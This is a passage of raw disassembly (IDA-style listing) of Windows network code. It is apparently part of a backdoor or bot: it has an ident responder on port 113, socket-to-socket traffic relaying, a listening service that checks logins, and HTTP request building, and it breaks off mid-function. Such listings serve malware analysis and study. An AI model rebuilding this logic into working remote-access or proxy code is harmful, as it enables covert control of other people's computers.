mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9D4 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB88
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA24 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9EC ; recv
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BFD proc near ; DATA XREF: sub_401221+445o
; sub_401ACD+438Bo
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4CB9D4 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CB9FC ; listen
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp+var_C], edi
mov edi, 200h
loc_410C88: ; CODE XREF: sub_410BFD+EAj
; sub_410BFD+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CBA68 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410D5C
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset dword_435164
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp+var_238]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov [ebp+var_8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: sub_410BFD+A0j
cmp [ebp+var_8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: sub_410BFD+47j
; sub_410BFD+6Bj ...
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset dword_435120
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: sub_410BFD+162j
push ebx
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410BFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410F17
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E91C[ecx], eax
call dword_4CB8E4 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA00 ; bind
test eax, eax
jnz loc_410F17
push 0Ah
push [ebp+arg_0]
call dword_4CB9FC ; listen
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: sub_410DAB+C6j
; sub_410DAB+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_4351CC
push eax
call sub_41C266
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B3BA
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410F3C
push esi
push esi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_410F02
loc_410EEF: ; CODE XREF: sub_410DAB+155j
cmp [ebp+var_30], esi
jnz loc_410E5B
push 32h
call dword_427080 ; Sleep
jmp short loc_410EEF
; ---------------------------------------------------------------------------
loc_410F02: ; CODE XREF: sub_410DAB+142j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435190
call sub_415DAC
pop ecx
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_410DAB+63j
; sub_410DAB+97j ...
mov edi, [ebp+arg_0]
loc_410F1A: ; CODE XREF: sub_410DAB+16Aj
push edi
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_40]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_410DAB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F3C proc near ; DATA XREF: sub_410DAB+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA54 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_4110F2
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410FCC
lea eax, [ebp+var_13C]
push eax
call dword_4CBA58 ; gethostbyname
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: sub_410F3C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
loc_410FDA: ; CODE XREF: sub_410F3C+8Ej
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_435254
push eax
call sub_41C266
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43E91C[ebx]
mov dword_43E914[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E920[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_411123
push edi
push edi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43E924[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: sub_410F3C+15Dj
cmp [ebp+var_20], edi
jnz short loc_41109B
push 32h
call dword_427080 ; Sleep
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: sub_410F3C+153j
mov ebx, 1000h
loc_4110A0: ; CODE XREF: sub_410F3C+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: sub_410F3C+14Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435214
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: sub_410F3C+44j
; sub_410F3C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_4]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410F3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411123 proc near ; DATA XREF: sub_410F3C+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: sub_411123+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_43E920[esi]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_43E91C[esi]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: sub_411123+61j
push dword_43E920[esi]
call dword_4CBA6C ; closesocket
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_411123 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43E91C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_411244: ; CODE XREF: sub_4111C0+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CB928 ; getpeername
test eax, eax
jz short loc_4112BD
call dword_4CB968 ; WSAGetLastError
push eax
push offset unk_43532C
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push edi
call dword_4270D4 ; ExitThread
loc_4112BD: ; CODE XREF: sub_4111C0+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, edi
jnz short loc_4112E7
push [ebp+var_18]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: sub_4111C0+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: sub_4111C0+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB88
push dword ptr [esi]
call dword_4CBA24 ; send
cmp dword_4CE72C, edi
jnz short loc_411357
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_411357: ; CODE XREF: sub_4111C0+14Cj
; sub_4111C0+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_4352F0
call sub_415DAC
push [ebp+arg_0]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4352C4
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push ebx
call dword_4270D4 ; ExitThread
loc_41139E: ; CODE XREF: sub_4111C0+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_435298
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
sub_4111C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap
; sub_4111C0+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435358
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: sub_4111C0+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_435384
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CB944 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4114A7
push eax
push offset unk_4354F4
call sub_415DAC
push [ebp+var_4C]
call sub_40B6D6
add esp, 0Ch
push edi
call dword_4270D4 ; ExitThread
loc_4114A7: ; CODE XREF: sub_41144E+3Aj
push edi
push offset loc_4116CC
call dword_42712C ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4114E0
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4354B0
call sub_415DAC
pop ecx
pop ecx
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_4114E0: ; CODE XREF: sub_41144E+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4CB9D4 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CBA54 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_411657
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43E91C[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4CBA00 ; bind
test eax, eax
jnz loc_411657
push 7FFFFFFFh
push ebx
call dword_4CB9FC ; listen
test eax, eax
jnz loc_411657
push offset unk_435474
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415D38
pop ecx
mov [ebp+arg_0], edi
loc_41156F: ; CODE XREF: sub_41144E+15Aj
; sub_41144E+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CBA68 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41165A
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41156F
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_435430
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40B3BA
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4111C0
lea eax, [ebp+var_10]
push esi
push eax
call dword_427084 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411642
loc_41162F: ; CODE XREF: sub_41144E+1F2j
cmp [ebp+var_38], esi
jnz loc_41156F
push 32h
call dword_427080 ; Sleep
jmp short loc_41162F
; ---------------------------------------------------------------------------
loc_411642: ; CODE XREF: sub_41144E+1DFj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4353F4
call sub_415DAC
pop ecx
pop ecx
jmp short loc_41165A
; ---------------------------------------------------------------------------
loc_411657: ; CODE XREF: sub_41144E+C8j
; sub_41144E+ECj ...
mov edi, [ebp+arg_0]
loc_41165A: ; CODE XREF: sub_41144E+13Cj
; sub_41144E+207j
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_4353BC
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41169A
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_41169A: ; CODE XREF: sub_41144E+22Aj
lea eax, [ebp+var_414]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push ebx
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop ebx
loc_4116CC: ; DATA XREF: sub_41144E+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41144E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E91C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435554
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435554
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4270B4 ; TerminateThread
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_427130 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435520
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
call dword_4270B4 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_4270FC ; TerminateProcess
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, dword_427070
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CBA6C ; closesocket
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
mov ebx, dword_427108
